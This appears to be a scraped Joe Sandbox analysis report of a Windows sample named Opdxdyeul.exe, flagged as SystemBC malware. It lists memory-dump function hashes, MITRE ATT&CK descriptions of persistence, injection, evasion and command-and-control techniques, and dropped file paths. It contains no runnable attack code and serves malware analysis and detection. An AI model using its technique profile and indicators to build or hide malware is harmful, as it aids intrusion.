Opcode Fuzzy Hash: 1cbeec59791d00cfd4bcbeaf5e2080630e98c32af2cc54b053431581dc9ef51d
Instruction Fuzzy Hash: 74C08C3102130C8BE3103BF4F80E72ABB6C7B0020BF400212F10C100708EB86888DB7B

Function 05935CFE Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 486e3117becba6553b8977b862b0921acc885d189a6f9b96443ea6acadc58b95
Instruction ID: ec16b52e8bc52f31778c6e44c490f126aca341f3fb50c81cd35a1d755cdb60cf
Opcode Fuzzy Hash: 486e3117becba6553b8977b862b0921acc885d189a6f9b96443ea6acadc58b95
Instruction Fuzzy Hash: 28D09274908228CBEFA0CF20D888B8DB7B2EB08300F50A6DAC408B3250DB705EC48F15

Function 0593B995 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183d704eb2ae651c25869d917f745a8a1e45bb7bd33044a547e39f31c508538b
Instruction ID: 4fc2decba582004af28a70dc0c5cc7922e075e842040357f70ad1174f03510cd
Opcode Fuzzy Hash: 183d704eb2ae651c25869d917f745a8a1e45bb7bd33044a547e39f31c508538b
Instruction Fuzzy Hash: 48C00176E1002A9A8B00DAD9E8808DCBBB4EB94322B008026E225AA204D630292A8B50

Function 05D9F240 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2514050055.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5d80000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 01460848 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9132248240a09b2d24ef4dc7933d9b1e9ed01c3187fce6e2c91e6434a016c60
Instruction ID: ab0fbe94efb8a776ef57006dc041c0d34750485cd818afcbb80f3e6e4be5f642
Opcode Fuzzy Hash: e9132248240a09b2d24ef4dc7933d9b1e9ed01c3187fce6e2c91e6434a016c60
Instruction Fuzzy Hash: D7A0223300030CCFEB203BE0F80C20BBB2CEB00302F808028F02E8080A8F3028088B88

Function 0593DF41 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2512299848.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5930000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d7ebc84707b39c0a01cf67fb90252d80e0c436490e0a5f4f3482762524799e9
Instruction ID: 0ba5bfa4855b4c251f60cce9fbb0ee5dfa7c562e85a9dd7b5e6a6985289b3afa
Opcode Fuzzy Hash: 9d7ebc84707b39c0a01cf67fb90252d80e0c436490e0a5f4f3482762524799e9
Instruction Fuzzy Hash: 4CB0122700052142C214BA18C8C239403A0DF40303FCC00588044C1100EA18A12B9353

Function 0146124F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2480220862.0000000001460000.00000040.00000800.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1460000_qxdc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cab1e63b78ee58493712dd6a71836c9dc323f47c06217795b8066bbd6e379326
Instruction ID: cb05d72dff18e3fcebc928e2da71d13508e916b40c7f65521ac280b249ce3608
Opcode Fuzzy Hash: cab1e63b78ee58493712dd6a71836c9dc323f47c06217795b8066bbd6e379326
Instruction Fuzzy Hash: BAA00239A14222DFD3245631A898024295AAB882E57898D65E80393228DA3558069651

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Opdxdyeul.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SystemBC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\colsv\qxdc.exe

C:\ProgramData\colsv\qxdc.exe:Zone.Identifier

C:\ProgramData\tlwghd\flmixjo.exe

C:\ProgramData\tlwghd\flmixjo.exe:Zone.Identifier

C:\ProgramData\uinetk\wvgk.exe

C:\ProgramData\uinetk\wvgk.exe:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esnlaeic.s2n.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opn14tzp.jwj.ps1

Windows Analysis Report
Opdxdyeul.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre